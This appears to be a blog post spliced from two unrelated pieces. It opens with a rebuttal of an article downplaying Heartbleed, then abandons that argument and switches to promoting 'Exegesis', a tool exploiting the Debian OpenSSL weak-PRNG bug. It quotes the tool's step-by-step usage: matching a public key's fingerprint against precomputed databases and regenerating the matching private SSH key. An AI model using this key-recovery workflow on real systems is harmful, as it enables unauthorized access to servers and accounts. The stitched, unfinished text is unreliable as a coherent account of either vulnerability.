TL;DR: Someone was wrong on the Internet and I just couldn’t help myself. If you already know how memory allocation works you’ll find this post boring and you can skip it. But if you don’t, read on… :)
I was just reading an article called “A look at Heartbleed and why it really isn’t that bad” and, while I usually tend to agree with anyone who tries to fight against FUD, in this case it happens to be dangerously wrong. I’d write this as a blog comment rather than an entry on my own, but Tumblr seems firmly stuck in the 90’s and won’t even give me that option :/ so here it goes…
In a nutshell, the article downplays the severity of the Heartbleed attack based on the Address Space Layout Randomization (ASLR) feature of most modern operating systems, that causes memory allocations to be randomized as a mitigation for buffer overflows. The reasoning goes: since memory allocations are random, and the Heartbleed bug allows you to read memory at random as well, the odds of reading important data are pretty much close to zero – therefore the Heartbleed attack is useless and you shouldn’t change your passwords.
A new tool has just been released to exploit the Debian OpenSSL bug, it’s called Exegesis. It seems very interesing, it’s more complete and flexible than all of the existing ones. Definitely worth checking out!
Let’s see the description from it’s webpage:
So you have an ssh public authentication key and you 'lost' the
private key. Did you generate that key in the last two years on
Debian or Ubuntu GNU/Lunix? Yes? Ok, great.
$ cat id_dsa.pub
First you'll need the fingerprint.
$ ssh-keygen -l -f ./id_dsa.pub
1024 b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c ./id_dsa.pub
Now look for that fingerprint in the generated fingerprint database
files. You can just use 'grep' for this.
$ grep b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c dsa_1024_32_le.out
b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c 25191 dsa 1024 32 0
Oh, it's your lucky day! You're on the list.
The fingerprint database files have the following format:
fingerprint pid key_type key_bits arch big_endian
pid The process id of the ssh-keygen which originally generated the key
key_type Either 'dsa' or 'rsa' depending on the type of key
key_bits The size of the key. 1024 and 2048 are common.
arch Either 32 or 64 depending on the processor which the key was created on
big_endian Is 1 if the key was generated on a big endian box or 0 otherwise
So, the key we matched is a 1024 bit DSA key, generated on a 32 bit little endian
processor. That sounds about right.
Usage: ./exegesis [options]
-B Select big endian target (default is little endian target).
-A Selecet 64 bit target (default is 32 bit target)
-o <file> Output file.
-t (dsa|rsa) Type of key(s) to generate (default is rsa)
-b bits Key size to generate in bits (default is 1024 bits)
-g Generate all keys for a range of pids (all pids by default)
-r start,end Specify a pid range to generate (default is 1,32768)
-p pid Generate a key for a chosen pid value
$ ./exegesis -t dsa -b 1024 -p 25191
-----BEGIN DSA PRIVATE KEY-----
-----END DSA PRIVATE KEY-----
Whoah?! Is that really the private key? Let's compare it to the
original key generated with ssh-keygen
$ ./exegesis -t dsa -b 1024 -p 25191 > key.out
$ md5sum id_dsa key.out
$ ./exegesis -g -t dsa -b 1024 -o dsa_1024_32_le.out
Unlike inferior competing products, Exegesis models the backdoored PRNG
in Debian OpenSSL. It uses a version of the OpenSSL random number and
key generating code that can be configured to behave like any of the
hardware platforms that affect the generated random numbers.
This means you can generate databases for each different relevant hardware
configuration without actually needing to run it on those architectures.
WARNING: Generating your own databases takes a very long time and may
cause side effects such as acute boredom and drowsiness.
Since we know you're anxious to get started recovering all those misplaced
private SSH keys, this release of Exegesis conveniently includes, right out
of the box, ten starter databases at no extra charge!
$ md5 keysets/*
MD5 (keysets/dsa_1024_32_be.out) = d422aa60e3d6180ec65adb7179ebe43d
MD5 (keysets/dsa_1024_32_le.out) = d6f1e5f4d5dd9e84a05de47cc9e0e81a
MD5 (keysets/dsa_1024_64_le.out) = 89d34fe52f083c7e0c2297c2d8439bbc
MD5 (keysets/dsa_2048_32_le.out) = b81ca4cd84613c0fa19056036153fc62
MD5 (keysets/dsa_2048_64_le.out) = f914df33f27a11d7b2ab06446c6c13ec
MD5 (keysets/rsa_1024_32_be.out) = f5a13ffcbc63206d1c90850e2ad2e052
MD5 (keysets/rsa_1024_32_le.out) = 082b47d57e1d77366ce3795359926440
MD5 (keysets/rsa_1024_64_le.out) = 18c80767c00db8130da8a77f7e81f448
MD5 (keysets/rsa_2048_32_le.out) = 977b88495603c860abbd48a47847065a
MD5 (keysets/rsa_2048_64_le.out) = dcdd098089281388e1c3bc935dec5b7e
This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)